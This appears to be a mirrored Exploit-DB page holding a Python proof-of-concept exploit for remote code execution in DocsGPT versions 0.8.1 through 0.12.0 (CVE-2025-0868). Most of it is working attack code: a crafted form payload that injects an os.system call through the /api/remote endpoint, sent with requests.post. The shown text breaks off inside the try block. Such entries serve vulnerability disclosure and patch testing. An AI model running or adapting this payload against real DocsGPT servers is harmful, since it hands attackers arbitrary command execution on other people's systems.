DocsGPT 0.12.0 – Remote Code Execution - 体验盒子

作者： Shreyas Malhotra

日期： 2025-04-09

类别：

webapps

平台：

Python

来源：https://www.exploit-db.com/exploits/52145/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

# Exploit Title: DocsGPT 0.12.0 - Remote Code Execution

# Date: 09/04/2025

# Exploit Author: Shreyas Malhotra (OSMSEC)

# Vendor Homepage: https://github.com/arc53/docsgpt

# Software Link: https://github.com/arc53/DocsGPT/archive/refs/tags/0.12.0.zip

# Version: 0.8.1 through 0.12.0

# Tested on: Debian Linux/Ubuntu Linux/Kali Linux

# CVE: CVE-2025-0868

import requests

# TARGET CONFIG

TARGET = "http://10.0.2.15:7091"# Change this

# Malicious payload string - carefully escaped - modify the python code if necessary

malicious_data = (

'user=1&source=reddit&name=other&data={"source":"reddit",'

'"client_id":"1111","client_secret":1111,"user_agent":"111",'

'"search_queries":[""],"number_posts":10,'

'"rce\\\\":__import__(\'os\').system(\'touch /tmp/test\')}#":11}'

)

headers = {

"Content-Type": "application/x-www-form-urlencoded"

}

try:

response = requests.post(f"{TARGET}/api/remote", headers=headers, data=malicious_data)